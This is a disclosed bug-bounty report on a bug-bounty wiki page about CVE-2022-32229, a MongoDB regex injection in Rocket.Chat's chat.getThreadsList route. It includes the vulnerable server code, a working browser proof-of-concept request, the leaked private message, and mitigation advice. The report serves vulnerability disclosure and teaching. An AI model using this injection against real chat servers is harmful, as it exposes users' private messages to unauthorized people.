Skip to content
Info disclosure Disclosed report Intermediate CVE-2022-32229

API route chat.getThreadsList leaks private message content

The chat.getThreadsList API route passed the user-supplied room identifier directly into a MongoDB query after checking access against only the first matching room. An authenticated attacker could use a regex to match both an accessible room and a private room, causing the query to return thread messages from the private room.

gronke Follow

Originally disclosed on HackerOne

  • Triaged in 14 days
  • Fixed in 6 months
  • Disclosed after 8 months

Summary by the program

Summary

The /api/v1/chat.getThreadsList does not sanitize user inputs and can therefore leak private thread messages to unauthorized users via Mongo DB injection.

Description

The chat.getThreadsList API route is defined in app/api/server/v1/chat.js#L522-L572:

JavaScript
const { rid, type, text } = this.queryParams;
const { offset, count } = this.getPaginationItems();
const { sort, fields, query } = this.parseJsonQuery();

if (!rid) {
	throw new Meteor.Error('The required "rid" query param is missing.');
}
if (!settings.get('Threads_enabled')) {
	throw new Meteor.Error('error-not-allowed', 'Threads Disabled');
}
const user = Users.findOneById(this.userId, { fields: { _id: 1 } });
const room = Rooms.findOneById(rid, { fields: { t: 1, _id: 1 } });
if (!canAccessRoom(room, user)) {
	throw new Meteor.Error('error-not-allowed', 'Not Allowed');
}

const typeThread = {
	_hidden: { $ne: true },
	...(type === 'following' && { replies: { $in: [this.userId] } }),
	...(type === 'unread' && {
		_id: { $in: Subscriptions.findOneByRoomIdAndUserId(room._id, user._id).tunread },
	}),
	msg: new RegExp(escapeRegExp(text), 'i'),
};

const threadQuery = { ...query, ...typeThread, rid, tcount: { $exists: true } };
const cursor = Messages.find(threadQuery, {
	sort: sort || { tlm: -1 },
	skip: offset,
	limit: count,
	fields,
});

const total = cursor.count();

const threads = cursor.fetch();

return API.v1.success({
	threads,
	count: threads.length,
	offset,
	total,
});

Clients can provide JSON data in Query Parameters:

JavaScript
const { rid, type, text } = this.queryParams;

The ACL check is performed against the first room returned by Mongo DB:

JavaScript
const room = Rooms.findOneById(rid, { fields: { t: 1, _id: 1 } });
if (!canAccessRoom(room, user)) {
	throw new Meteor.Error('error-not-allowed', 'Not Allowed');
}

After the access permission check, the original rid parameter is again provided as Mongo DB query input, but unlike the ACL check can return multiple results:

JavaScript
const threadQuery = { ...query, ...typeThread, rid, tcount: { $exists: true } };
const cursor = Messages.find(threadQuery, {
	sort: sort || { tlm: -1 },
	skip: offset,
	limit: count,
	fields,
});

An authenticated adversary can provide an input that matches to multiple rooms of which the first match can be read by the malicious user. MongoDB will return the results in storage order, so that the channel that passes the ACL check must have been created before the target. For demonstration purposes the GENERAL channel was used:

JavaScript
const TARGET_ROOM = "<ROOM_ID>";

const fetchApi = async (url, options = {}) => {
	return fetch(`/api/v1/${url}`, {
		...options,
		headers: {
			'X-User-Id': Meteor._localStorage.getItem(Accounts.USER_ID_KEY),
			'X-Auth-Token': Meteor._localStorage.getItem(Accounts.LOGIN_TOKEN_KEY),
			'Content-Type': 'application/json',
			...(options.headers || {})
		}
	}).then((res) => res.json())
	.then((data) => { console.log(data); return data; });
};

fetchApi("chat.getThreadsList?rid[$regex]=GENERAL|${TARGET_ROOM}").then(console.log)

The object printed to the console has the secret message included in the threads property:

JSON
{
    "threads": [
        {
            "_id": "7sJLzbjDL7iL56Lmc",
            "rid": "YkJAwxJHe5t7BWimY",
            "msg": "secret message",
            "ts": "2022-01-11T12:26:20.603Z",
            "u": {
                "_id": "kYfzDMQLyPFjS9ASb",
                "username": "gronke",
                "name": "gronke"
            },
            "urls": [],
            "mentions": [],
            "channels": [],
            "md": [
                {
                    "type": "PARAGRAPH",
                    "value": [
                        {
                            "type": "PLAIN_TEXT",
                            "value": "secret message"
                        }
                    ]
                }
            ],
            "_updatedAt": "2022-01-11T12:45:40.086Z",
            "replies": [
                "kYfzDMQLyPFjS9ASb"
            ],
            "tcount": 1,
            "tlm": "2022-01-11T12:45:39.971Z"
        }
    ],
    "count": 1,
    "offset": 0,
    "total": 1,
    "success": true
}

For comparison it is not allowed to read the message directly:

JavaScript
>>> Meteor.call("getMessages", ["7sJLzbjDL7iL56Lmc"], console.log)
{
    "isClientSafe": true,
    "error": "error-not-allowed",
    "reason": "Not allowed",
    "details": {
        "method": "getSingleMessage"
    },
    "message": "Not allowed [error-not-allowed]",
    "errorType": "Meteor.Error"
}

Releases Affected:

  • develop

The change was introduced in #7632f12c and did not land in a release yet. Previous versions appear to be affected in a similar way, but within the query parameter instead of rid.

Steps To Reproduce (from initial installation to vulnerability):

  1. Create a thread in a private room between users Alice and Bob
  2. Login as Trudy
  3. Leak Alice and Bobs private Room ID (not discussed here)
  4. Query /api/v1/chat.getThreadsList?rid[$regex]=GENERAL|${TARGET_ROOM_ID}

Supporting Material/References:

  • List any additional material (e.g. screenshots, logs, etc.)

Suggested mitigation

  • Strictly verify input parameter type.
  • Use the ROOM ID returned for ACL verification in the final query.

Impact

Authenticated users can leak thread messages from private rooms they should not have access to.

Fix

Fixed in version 5.0>

The original report as published on HackerOne, by gronke. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The room identifier from the request was used directly as a MongoDB query operator (via a regex) after the access-control check only validated the first matching room, so the final query could match additional rooms the user could not access.

Impact

Authenticated users could leak thread messages from private rooms they should not have access to, provided the accessible room was created before the target room.

What the attacker needed

An authenticated account; knowledge of the target private room ID; an accessible room created before the target

The fix

The report suggests strictly verifying input parameter types and using the room identifier returned from the access-control check in the final query; the text states it was fixed in version 5.0.

How it was found

  1. Create a thread in a private room between two users.
  2. Log in as a third user.
  3. Obtain the private room's identifier.
  4. Send a request to the threads list endpoint with a room identifier pattern that matches both an accessible room and the private room.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The server checked whether you were allowed into a chat room, but it only checked the first room that matched your input. By supplying a pattern that matched both a room you can access and a private room, the later database query returned messages from the private room. This is a type of injection where user input is treated as a database query rather than plain text.

What is Info disclosure?

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.

More by gronke

View all

27 more disclosed reports, best first.

More from Rocket.Chat

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.